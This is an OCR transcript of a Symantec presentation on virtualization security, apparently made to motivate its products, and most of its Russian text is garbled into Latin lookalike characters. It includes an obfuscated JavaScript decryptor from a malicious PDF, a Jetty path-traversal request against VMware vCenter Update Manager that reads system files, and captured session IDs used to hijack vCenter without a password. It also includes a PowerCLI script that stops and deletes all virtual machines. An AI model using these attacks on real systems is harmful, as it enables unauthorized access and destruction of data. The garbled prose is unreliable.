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Yto 6ecnokouT npu co3gaHnm BUPTYabHbIX
AaTaueHTpoB/YacTHbIX 061aKOB

e Acnonb3oBaHue pecypcos (AV-TOpMbI)

e [Ipobnembl c 6€30NaCHOCTbLIO

— HEeAOCTAaTKM 3alLUThbI LWAaBNOHHbIX MALLWH

— 3abbITble BUPTYanbHble MaLLMHbI

e TpaduK mexkay BUPTYabHbIMU MALLMHAMW

* YNpaBnaemocCTb
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Kniouesble Tembl 3alUTbl BUPTYANU3auum

W ET I EVLISET: OTKa3 OT HEHYXHbIX CKAHUPOBaHUM
Jeaynankauma ckaHUpoBaHUi

NPOU3IBOAUTENDBHOCTD Pa3bpoc onepauum no BpemeHun

MoNHbIN CTEK KOMNOHEHTOB

3dWUMNLLEHHOCTU MaKkcumanbHasa 3G eKTUBHOCTb

3a MMHMMANbHbIE AeHbru  YPOBEHb KOHCOMMAAUMUK
MakcumanbHaa 3pPeKTUBHOCTb

EAMHAA KOHCOMb




Kak mbl 3TOro gocruraem?

// Offline Image Scan \\

Virtual Client Tagging
Shared Insight Cache
Virtual Image Exception

YMmeHblueHune obpalieHumn K aucky ao 90%

\ Powered by Symantec Insight /
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[loCcTaTOUYHO 1M ceityac oA4HOro aHTUBUpYyca?

2009 2010

AV Detections

[ IPS Detections |

HecurHaTypHble meToapbl — K104 K ycnexyI
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KaK mbl 3T0 genaem: rubpuaHan sawmra

SEP 12.1
Scan Elimination via Insight Cloud ° BO-I‘IepBbIX, OTKa3aTbCH OT
& Out-of-Guest De-duplication HEeHYHbIX CKAHMPOBaHMM 3a
o R C4ET NCMO/b30BAHNA
o penyTauMOHHOM TEXHONOTUY,
% a TaKXe He CKaHunpya Gannbl
@ n3 obpasa VM
2 e Bo-BTOpbIX, CKAHNPOBATb
I v
” o dannbl N0 0 AHOMY pPa3y Ha
rk Security Bcro MchpaCprKTypbl (Shared
VM nsight Cache)
scan 5,000 of 50,000 Files
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Network Intrusion Prevention (IPS) — c areHTom nnmu 6e3
Mpumep: onacHbi PDF-¢ain
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Network Intrusion Prevention (IPS) — c areHTom nnmu 6e3
Mpumep: onacHbi PDF-¢ain

Website

1. Monb3oBaTenb 3aX0A4MUT HAa OMNACHbIN CalT, NCNONb3YIOLWMIA YyA3BUMOCTb Getlcon
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Network Intrusion Prevention (IPS) — c areHTOM nnu 6e3
Mpumep: onacHbi PDF-¢ain

mll GA
e

Website

1. MNMonb3oBaTesib 3aX0AMUT Ha OMACHbIN CaNT, UCMONb3YOWMIN yA3BMMOCTb Getlcon
2. PDF parser ucnonbsyetca gna obpabotku PDF-danna
3. PDF parser nuwet 6210KM Jscript

@Symantecm



Network Intrusion Prevention (IPS) — c areHTom nnmu 6e3
Mpumep: onacHbi PDF-¢ain

Website .

Monb3oBaTeNb 3aX0AUT HA ONACHbIM CAaNT, UCNONb3YOWMIA yA3BMMOCTb Getlcon

PDF parser ncnonbsyetca ana obpabotkm PDF-dainna
PDF parser nwet 610KM Jscript
Bnoku Jscript BbITacKMBalOTCA M OTNPABAAIOTCA HAa CKAHMPOBAHME

JScript ckaHupyeTca pa3anYHbIMK Jscript-curHaTypamm

o vk wbnh e

OAHa 13 curHaTyp nposepseT pasmep aprymeHTa ana Getlcon()

~d

.YI pPOSsd ddUJIUKVIpUded'

[ OnacHbliit PDF ¢aitn 3a6n10KnpoBaH — nonb3oBaTesib 3almileH! ]
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... HO ecTb npobaema

e YacTb NepenaBaemoro KOHTEHTA UCMOJIHAETCA HAa KOHEYHOU T )
Hanpumep: VBScript, JavaScript, ActiveX

Virtual Protection JSymantecm



... HO ecTb npobaema !

e YacTb nepeiaBaemMoro KOHTEHTa UCMOTHAETCA Ha KOHEYHOM TOYKeE,
Hanpumep: VBScript, JavaScript, ActiveX

® JDTOT KOHTEHT JIerko 3aMaCcKMUpoBaTb

e PaccmoTtpum cneaytowmm Javascript:
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... HO ecTb npobaema

e YacTb nepeiaBaemMoro KOHTEHTa UCMOTHAETCA Ha KOHEYHOM TOYKeE,
Hanpumep: VBScript, JavaScript, ActiveX

® JDTOT KOHTEHT JIerko 3aMaCcKMUpoBaTb

e Paccmotpum cneayrowmin Javascript:

<script language="javascript">
var key="CDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijkimnopqgrstuvwxyz01234568A7/=9B+",
Function Decryptor (arg) {
var al=", a2, a3, a4, ab, a6, a7, a8, a9=0; do {a5=key.indexOf(arg.charAt(a9++));
ab=key.indexOf(arg.charAt(a9++)); a7=key.indexOf(arg.charAt(a9++));
a8=key.indexOf(arg.charAt(a9++)); a2=(a5 << 2) | (a6 >> 4); s=((ab & 15) << 4) | (a7 >> 2); ad=((a7
& 3) << 6) | a8; al=al+String.fromCharCode(a2); al=al+String.fromCharCode(s);
al=al+String.fromCharCode(a4);

. ™
} while (a9<arg !
return (al); } ]
Var out = De<( dYy9RI1 JnaYSORITrTIznRlyxFIn2d IWOKC2MFSq/e4P0cZD2Kj ™) ;
Document.wi

</script> “-m..____A
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... HO ecTb npobaema

e YacTb nepeiaBaemMoro KOHTEHTa UCMOTHAETCA Ha KOHEYHOM TOYKeE,
Hanpumep: VBScript, JavaScript, ActiveX

® JDTOT KOHTEHT JIerko 3aMaCcKMUpoBaTb

e Paccmotpum cneayrowmi Javascript :

<script language="javascript">
var key="CDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijkimnopqgrstuvwxyz01234568A7/=9B+",
Function Decryptor (arg) {
var al=", a2, a3, a4, ab, a6, a7, a8, a9=0; do {a5=key.indexOf(arg.charAt(a9++));
ab=key.indexOf(arg.charAt(a9++)); a7=key.indexOf(arg.charAt(a9++));
a8=key.indexOf(arg.charAt(a9++)); a2=(a5 << 2) | (a6 >> 4); s=((ab & 15) << 4) | (a7 >> 2); ad=((a7
& 3) << 6) | a8; al=al+String.fromCharCode(a2); al=al+String.fromCharCode(s);
al=al+String.fromCharCode(a4);

. ™
} while (a9<arg !
return (al); } ]
Var out = De<( dYy9RI1 JnaYSORITrTIznRlyxFIn2d IWOKC2MFSq/e4P0cZD2Kj ™) ;
Document.wi

</script> “-m..____A

e B stom cny4yae IPS HE cmoxeT 3a6/10KMpoBaTb CKPbLITbIN javascript
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Network Intrusion Prevention (IPS) — c areHTom nnmu 6e3
Mpumep: onacHbin PDF

Website
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Network Intrusion Prevention (IPS) — c areHTom nnmu 6e3
Mpumep: onacHbin PDF

Website

1. Monb3oBaTenb 3aX0AUT Ha CalT, UCMONb3YIOLWMIA yA3BMMOCTb Getlcon
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Network Intrusion Prevention (IPS) — Agentless or Agent-based
Example: Compromised PDF

Website

1. MNMonb3oBaTesib 3aX04MT Ha CalT, UCNONb3YIOLWMIN ya3BMMOCTb Getlcon

2. Bbi3oB Getlcon() xopoLuo 3amackMpoBaH K He AeTeKTUpoBaH IPS

@Symantecm



Browser Intrusion Prevention (IPS) — c areHTOM

Website

1. MNMonb3oBaTesb 3aX0AUT Ha CalT, UCMONb3YHOWKMIN yA3BMMOCTb Getlcon
2. Bbi3oB Getlcon() xopoluo 3amackMpoBaH U He AeTeKTUpPoBaH IPS

3. bpay3ep HauyMHaeT ncnoaHATbL JavaScript

@Symantecm




Browser Intrusion Prevention (IPS) — c areHTOM

Website

Hw N

<%

Monb3oBaTeb 3aX0ANT HA CalT, MCNOJIb3YyHOLWNI Yya3BUMOCTb Getlcon

Bbi3oB Getlcon() xopoluo 3amacknpoBaH M He AeTeKTupoBaH IPS

bpay3ep HaunHaeT ncnonHATbL JavaScript

3aMaCKMPOBAHHbIN KOA HAaYMHAET UCMONHATLCA, YTOObI Noy4YnTb aprymeHT ans Getlcon()

@Symantecm n



Browser Intrusion Prevention (IPS) — c areHTOM

Website .

Monb3oBaTeNb 3aX0AMUT Ha CalAT, UCMOJb3YIOLWMIA YyA3BMMOCTb Getlcon

Bbi3oB Getlcon() xopoluo 3amacknpoBaH M He AeTeKTupoBaH IPS
bpay3ep HaunHaeT ncnonHATbL JavaScript
3aMaCKMpPOBAHHbIM KOA HAaYMHAET UCMOHATLCA, YTOObI NOYUYUTL aprymeHT ans Getlcon()

®dyHKUMA Getlcon() BbI3bIBa€T OAMH U3 CAULLKOM AJIMHHbIX BXOAHbIX NapameTpoB

SR A T o

Bbi30Bbl MepexBaTbiBAlOTCA KOMMOHEHTOM A/1A 3aWMTbl bpay3epa 1 NPOBEPAIOTCA 40 ABUXKKA
JavaScript B Acrobat Reader.

7. CurHaTtypa ana Getlcon() nposepseT AIMHHY BXOAHbIX NapaMeTpoB
8. Yrposa geTtektnposaHal
[ OnacHbiii PDF 3a6n10KkMpoOBaH — Noa1b30BaTe/Nb 3almuleH! ]
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MNoBepeH4YeCcKn aHanus

Kak pabotaer SONAR?

e SONAR KOHTpOAUPYET pa3IMdHble acneKTbl 3anyuweHHbIX

NPUNOKEHUN

— 3aMeHWN0 AOMaLLHIOW CTPpaHULy bpay3epa
— YctaHoBuao Toolbar

— Cneaunno 3a BBOAOM C KNaBmaTypbl

— 3arpy»eHo c 4,0BepPeHHOro 1M onacHoOro camTa
— CKONMPOBAHO C CETEBOro pecypca

— YctaHosneHo ¢ CD, DVD nan USB

Virtual Protection
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MNoBepeHYeCcKUit aHanus

Kak pabotaer SONAR?

— OH ynakoBaH?

— JlocTyn K Kakum cayxkbam 3anpalimBaeT?

— Kakoun Bepcuen MO npeacrasnserca?

— Co3paBan M HOBbIX GanNoB, KOTopble bbin
NeTeKTUPOBaHbI?

— Co3pgasanu n «poauTenb» Gpannbl, KOTopble bbln
NeTeKTUPOBaHbI?

Virtual Protection




Y10 0 3aLumTe BUPTYa/IbHOM
MHPPACTPYKTYPDLI?

Virtual Protection



MHOro npoAyKTOB = MHOro NytTen B UHPPACTPYKTYPY

e vSphere:

— Microsoft Windows

— Microsoft SQL

— Apache Tomcat

— Apache Tomcat Manager
— cURL

— OpenSSL

— Oracle (Sun) Java

— Jetty

— VMware code

e He Bce 3Tn NPOAYKTbl MOXHO ObICTPO OOHOBUTb, KaK Bbl
3alMLLaeTecb NPOTMUB UX YASBUMOCTEN?

Virtual Protection \/Syma ntec. B



Bce nn 3agymbiBanncb 06 atom?

e /IOKaNibHbIK aAMNHUCTPATOP
nmeeT NOoJIHbIN AocTyn K vCenter
nocne yCTaHOBKU?

e /Tlobon agMnNH MOKET
ocTaHoBUTb MS-SQL n yaanntb
6a3y naHHbIX vCenter?

e PowerCLI moxeTt yganutb sce VM
6bICTPO M HaBceraa

e EcTb toolkit-bl, «3aTO4YEHHbIE®
noJ BUPTYa/ibHble cpeabl

Virtual Protection \/Syma ntec. B



vCenter Update Manager

e VM Update Manager ncnonbayert Jetty 6.1.16

® Pa 60Ta eT rl O yM Onl‘l a H M I'O H a Vce nte r General ||_Dg On | Recovery | Dependencies |

Service name: vmware-ufad-vo

Display name: W hdware Update b anager Service
BT i s el e s =
C:\Documents and Settings™Administratornetstat -an | findstr 9084 Pt o executable

"C:AProgram Filez\\tMwarehlnfraztructuretlpdate kM anagerhwmware-updat

CawBocuments and Settings™Administrator nevshat -an | findstr 7084
TCP 0.9.0.8:9884 0.0.08.0:8 LISTENING
TCF ittt Gt A N D000 . 1b2 . 171 :9084  ESTABLISHED oo st Stoomed
TCP  192.168.162.171:9084 192.168.162.171:3475  ESTABLISHED |

Start

Startup type: Automatic j

Stop | Pauze Besume |

Y'ou can specify the start parameters that apply when pou start the service
from here.

G:\Documents and Settings“dministrator)

Start parameters: I

0k, I Cancel Apply

Virtual Protection fSymantecm



vCenter Update Manager Vulnerability
VMSA-2010-0012.1

VMware vCenter Update Manager fix for Jetty Web server addresses important security

vulnerabilities

Advisory 1D:
Synopais:

Iazue dace:
Updated on:
CVE numbers:

T -
VMware vCe

VMware Security Rdvisory

VMSA-2010-0012.2

VMware vCenter Update Manager fix for Jetty Web
gerver addresses important security vulnerabilities
2010=-07=-149

2011-05-05

CVE-2009-1523 CVE-2009-1524

nter Update Manager fix for Jetty Web server addresses

important security vulnerabilities.

Z. Belevant releases

VMware vCenter Update Manager 4.1

VMware vCenter Update Manager 4.0

http://www.vmware.com/security/advisories/VMSA-2010-0012.html

Virtual Protection
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ATakyem Vmware vCenter

Vmware Remote Update Manager

GET /veci/downloads/health.xml/%3F/../../../../../../../.. /.. /boot.ini HITP/1.1
Host: 10.16.177.11:5087

Usaer-Agent: Mozilla/5.0

Lecept: text/html,application/xhtml+xml, application/xml;q=0.%,*/*;g=0.8
Feep-Alive: 115

Connecticn: keep-alive

HTTP/1

LA 208 OK

Date: Mon, 28 Mar 2011 11:37:18 GMT
Content-Length: 215

Last-Modified: Tue, 12 May 2009 11:57:36 GMT
Server: Jetty(e.l.8)

8 @ ® Mozilla Firefox

File Edit View History Bookmarks Tools Help

& v @ ¢ [IECECERZER https://10.16.177.11:9087/boot.ini

.se" /noexecute=gptout

I https://10.16.177.11:9087/boot.ini | 57

[boot loader]

timeout=30

default=multi(0)disk (@) rdisk(@)partition (1) \WINDOWS

loperating systems]

multi(@)disk({0@)rdisk (@)partition (1) \WINDONS="Windows Server 2003, Enterprise" /noexecute=optout /fastdetect /PAE

Virtual Protection szmantecm n



Yutaem ¢pannbl Ha vCenter, un uto?

S
6{_’)\7| . = Computer - Local Disk (C:) = ProgramData ~ VMware = VMware VirtualCenter ~ Logs

e vpxd-profiler-* o~ Blome e

- Favorites VRO, 10007 = it
B Desktop General Securty I Detailsl Previous Versionsl
|| vpxd-37.log.gz

° o" D e b u g” f i | e W r i tt e n by VCe n t e r . f 2::';‘:17;5 || vpxd-38.Jog.qz Object name:  C:\ProgramData\VMware'\VMware VitualCerter\L

|| vpxd-39.log.gz

Group or user names:

i Libraries L | vpxd-40.log.qz 52, 5YSTEM
;i\] Documents || vpxd-41.log.gz 52, Administrators (WIN-&J TP3VGBAD P\ Administrators)
o) Music ek i e Users (WIN-4 TP3VGBAOF\Users)
L1 log.
§| :!;tures |Z] vpxd-43.log
ideos

|| vpxd-profiler-17.log.gz
To change pemissions, click Edit. Edit |
1% Computer || vpxd-profiler-18.log.gz

|| vpxd-profiler-12.log.gz

= Pemizsions for Users Allow Dery
‘iﬂ Network || vpxd-profiler-20.log.gz Fill coriat

|| vpxd-profiler-21.log.gz Modify
|| vpxd-profiler-22.log.0z Read & execute
|| vpxd-profiler-23.log.gz Read

Write
|| vpxd-profiler-24.log.gz ‘; i —

pecial pemmissions

|| vpxd-profiler-25.log.0z

a vpxd-profiler-26.log For special permissions or advanced settings, e | I

o click Advanced.

|2 vws.log

|| vws.log.1 Leam about access control and pemissions '
e vpxd-profiler-26.log Date modified: 13/10/2010 04 ’TI — | sy |

— LOG File Size: 1,07 MB

e /SessionStats/SessionPool/Session/Id=' 0OE35D72A-66E0-408B-
AES59-89CCD491F245
'/Username=Company\UserID'/SoapSession/ld=' OE35D72A-
66E0-408B-AE59-89CCD491F245 '/Count/total 1

Virtual Protection \/Symantecm n



[laBanTte 3anaem B CeCcUio...

Q BT5R1-GNOME-VM-32 - VMware Workstation =l
File Edit View VM Team Windows Help

su@e cab D80 0B 66

v Evastos
|| abigquo_guest_stealer
|| abiguo_poison
|| eucalyptus_bouncer
|| eucalyptus_poison
|| oraclevm_oravma_filere
vImware autopwner
=] ¥Mware ¥Sphere Client ill

* vastos/vmware_session_rider

VMware Session Rider

This module will allow the injection of a given SOAP Session ID and usage with the W client, Use bypassme as
username or password to activate,

A | Value

172,16.73.150

35D?2A-66E0-408EI-AE59-89CCD491F_ZD
192, AOETTY

vSphere Client

To directly manage a single host, enter the IP address or host name,
To manage multiple hosts, enter the IP address or name of &
wiZenkter Server,

Launch |

IP address / Mame:  [192.168.162.170 4|
User name: Ibypassme
Password: I****l

[ Use Windows session credentials

Login I Close | Help |
[® /-File Brow... [£] root@bt: jo... [ERERUCLIHES [Get Starte... [® all - File Bro... [W all - File Bro... [{g} Ammitage

e
To direct input to this VM, move the mouse pointer inside or press Ctrl+G. ™=

M [ﬂ [¥] = 635 (=

= [exploits - F...

SR =AY ENEY EN EAENERE-"  ©oor—=T

Virtual Protection JSymantecm



... NO/Iy4UM npaBa agMUHUCTPATOPA

6e3 ayteHTUPUKauum

Eile Edit Wiew Inventory administration Plug-ins  Help
| E} Home [ ﬁflj Inventary [ Hosts and Cluskers
o H
=l (& | vSphere.symclab. local vSphere.symclab.local, vsphere ¥Mware vCenter Server, 5.0.0, 455964
B Sumenaty - Virlual Machenes - Fetounce Aocabion | Pedoemance | Tatks & Evendy | Alaems | Permemsions - | Maps - iSSR0 (R0 TS
[{ ded0i.vbe bocal = — — —
[ dediz.vbe bocal view: [Rescurce Pools & virtus Machines =] | Time Ranges [Custom... = Frome 30309 T 10:00 pra |‘-' To: /0409 I 01:00 am |1'
@ deld.vbc.bocal
[ de=bo.vbe bocal 2/3/00 10:00 PM to 3/4/00 1:00 AM Summary for Production Servers Resource Pool{s) and Virtual Machine(s)  Thumboaeis: 1.of 5 page(s) I Pl Cyem
= & |Production Servers 10 R ce Pool<) S Wirtual Machire{s)
g Cogitad 5‘“‘\_{ age Server cPU EPU MHz Memory Disk Kbps Net Mbps
s vec-o c gar O1 @ Digital Signage Server
s vEC-Doman Controler 02 5071 20 50l I.'\‘l 15§ 8.0 7
I3 ¥Mwiare Yiew - BrokerOL 25 ) . ‘I—U\J"L" My e 28
3 ¥hhware Yiew - Broker02 25 |I 54
£ ¥Mwars Vesw - Broker03In | 00 k) o a0 o = : oo
3 VMwars view - Securityll ETT ] AN ET-T 2D T 200 AN 200 Ao aoe
s Vhiare View - Security02 1808 P 11:80 P WBABPM 1.8 P A8 P 1180 P 15:18 Pld 11:38 P A8 P 1140 P
Oy Whhwars Veew - Seourity031| 8 Masteryc
- a Templates 80 § A = S0
= & woI 20 | ! 500 1 II| — 1]
& @ DirechbooessiMs 1o 4 L-—ﬂll 250 + Sl R S | ’ {\ 251 \
® @ Masterimages — I | ] ) i
: o o =} 1 o 1 oo L.
= @ Wiew Managed 300 200 A0 200 W00 arane A0 a0 anon a0
(3 DemoDeskiop2 10:10 PR 100 PR 1000 PR 11580 P 1010 PR 1140 P 1000 PR 1940 PR 1010 P 1040 P
3 DemoDeskrops
Duarmnilherskt
% ﬁ CPU Usage
s mplates 1.000 |
G rephca-FedfZddf-GedE-- e00
1 source-bo-OFFEOTE4-03 800
Too
~ D0
F =00
00
=0
200
1080
(] - e
200 Ardnn Aroe 2300 Ao A0
10:10 PrA D P T80 P 1150 PR 20 Al 20 Al
W WMasteryvC B Wiware View - Brokerd1 B Wiberane View - Broker03 intemal...
B ViWwcare View - Broker02 Bl Vibware View - Secunity03 Intamm..
_EVMware View - Securityd2 BVBC-Domain Controller 01 0 VMwarnge View - Securityl |
Mame Target Status | Details Initiated by | wCenter Server Requested Stark Ti... = | Stark Time

£ Tazks @ Alarms |

Virtual Protection
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A NOTOM MOXHO caenaTb Tak...

File Edit Yiew Inventory Administration Plug-ins Help

& |E:f Home 1 gf] Invertory b [E] Hosts and Clusters

| Fl=| Search Inventory i

=l [ | vsphere.symdlab.local vSphere.symclab.local, ¥vsphere ¥Mware vCenter Server, 5.0.0, 455964
Datacenters Syt ey =t osks : ents - Alarms =l ] 'm
Mame | Hosts | Wirbual Machines | Alarm Actions |
1] | |
Recent Tasks Mame, Target or Status contains: - I— Clear
Mame | Target Skatus | Details | Initiated by | wCenter Server Requested Stark Ti... = | Start Time

| Completed Time |

1 Tasks @ dlams |

|&sdministrator

v Symantec. B
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Unu ypaneHHo yepe3 PowerCLI

e CKPUNT HUXKEe MOXHO 3anyCTUTb OT JIOKA/IbHOTO
aagMUHUCTpaTopa Ha vCenter-cepsepe ecnn PowerCLI

YCTaHOB/1€H NIOKAJ/IbHO
— OH OCTAHOBMWT Bce VM nepeuncneHHblie Ha vCenter

— A notom YAAJIUT ux C AUCKA
‘E?il'c'M.psl - Notepad M=l B3

File | Edit Format Wiew Help
-

fwCMame = get-Content emnv:omputername

Connect-vIserver $wChHame
Foreach ($vM in (Get-wM)){stop-vm -Runasync:$true —vm $vM —confirm:$false}
Foreach ($vM in (Get-wvM)){remove-vm -DeleteFromDiEk:$true —-Runasync:$true —-vm $vm -confirm:$false}

e Y10 mewwaet BpegoHocHomy 1O ncnonb3osaTb?

. A n IA \IWQ? LB | I PO iy M PRl O S iy Sy || [ | R Y o PRS- ) [T S R o W PN o WS R | R T [T S SR P R R o
ViJivi y JI\\L o I reprudry, Jasor Lornisi diiegedly accessed dSrionogi S network morrm a vicooridia > outiet In ris normetowr Ol
Smyrna, Georgia, and installed "a software programme" that deleted various virtual machines (VMs). These included VMs hosting the company's
email server, its order tracking systems and its finance application.”

http://www.information-age.com/channels/the-cloud-and-virtualization/news/1648558/it-admin-accused-of-deleting-exemployers-vms.thtml
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Attacking VmWare Updater Service

VmWare Remote Update Manager

Virtual Protection



Attacking VmWare Updater Service

VmWare Remote Update Manager

Attacker finds a
vulnerability in the web

server Jetty Path Traversal.

Virtual Protection \/Symantec B



Attacking VmWare Updater Service

VmWare Remote Update Manager

HTTP

&
&y ==

SE5510NM5Td15/585510NF00L/585510N/10=" 25003934 - 2235 -46AE-BYL/ - AULEI0AFLIF/

SessionStats/SessionPool/Session/Id='53C63934-2233-48AE-B927-AD1896AFC2F7"
SessionStats/SessionPool/Session/Id='53C63934-2233-48AE-B927-AD18B9I6AFC2FT"
SessionStats/SessionPool/Session/Id='53C63934-2233-48AE-B927-AD1896AFC2FT"

total 1

SessionStats/SessionPool/Session/Id='545A5964-8527-4EEL-9BOF - 849E2AD2BAGE "
SessionStats/SessionPool/Session/Id="'545A5964-8527-4EE1-9BOF - 849E2AD2BAGE "

Count/total 1

FUSETMame= RISURSENZELILZ/G /PTOperl L(yCOLLEeCtor/ 10talubJeCtLount/ total @
/Username='RISORSE\zeit276" /PropertyCollector/TriggeredfiltersCount/total @
e PP T Dy b

/Username="'RISORSE\zelt27 g

Lo —

/Username="'RISORSE\zeit27

/Username="SERVIZI\patrol |
/Username="SERVIZI\patrol |

* /SoapSession/Id="B9915C98-FBA2-46C9-9D74

kedmil' /PhysSessionObject/Hidden/total @
cedmil' /SoapSession/Id="'78685EB1-CEES-4F 65w

5372' /Count/

*.ag:razlcaa'f

Virtual Protection
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Attacker finds a
vulnerability in the web
server Jetty Path Traversal.

The attacker exploits
the vulnerability to
access vCenter log files
and detects a valid
SessionlID.
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Attacking VmWare Updater Service

VmWare Remote Update Manager

HTTP , Attacker finds a
- o : vulnerability in the web
server Jetty Path Traversal.

&
&

The attacker exploits
the vulnerability to

e

— = access vCenter log files
EHTTP H and detects a valid
>i | '

¥ o SessionlID.

SESSIONSLaLs/ 5655 10NP00 L/ SeSS 10N/ 0= 53003934 - 2Z33-4BRE-BYZ27 - AUIBYCAFCZF 7 JUSElNane= RISURSENZELLZ/0 /PTOPEr LyCOLLEC o/ 10lalUDJec LLolnt/totat ©

SessionStats/SessionPool/Session/Id="'53C63934-2233-48AE-B927-AD1896AFC2F7 "' /Username="'RISORSE\zeit276" !Plopelty(ollectol!Tl1gge|edF11te|scountftotal ]
SessionStats/SessionPool/Session/Id='53C63934-2233-48AE-B927-AD1B96AFC2F7" /Username="'RISORSE\zeit27 o
SessionStats/SessionPool/Session/Id='53C63934-2233-48AE-B927-AD1896AFC2F7 " /Username="RISORSE\zeit27 /Scap5e551uand "B9915C98-FBAZ-46C9- 9D? ?53?2 /Count/

The attacker using a
valid session ID can
connect without the
£7621C39"/ need to authenticate to

total 1
SessionStats/SessionPool/Session/Id='545A5964-8527-4EEL-9BOF - 849E2AD2BAGE " /Username="SERVIZIN\patrol fcedmil' /PhysSessionObject/Hidden/total @
SessionStats/SessionPool/Session/Id="'545A5964-8527-4EE1-9BOF - 849E2AD2BAGO" /Username="SERVIZI\patrol fedmil' /SoapSession/Id="'78685EB1-CEE5-4F6

Count/total 1

3 s
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Want to Learn More?
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Have you hit the wall
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trying to virtualize business

We’re here to help »

I—

security

e Visit the Symantec Virtualisation Micro-Site
— http://go.symantec.com/virtualization
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A Symantec.
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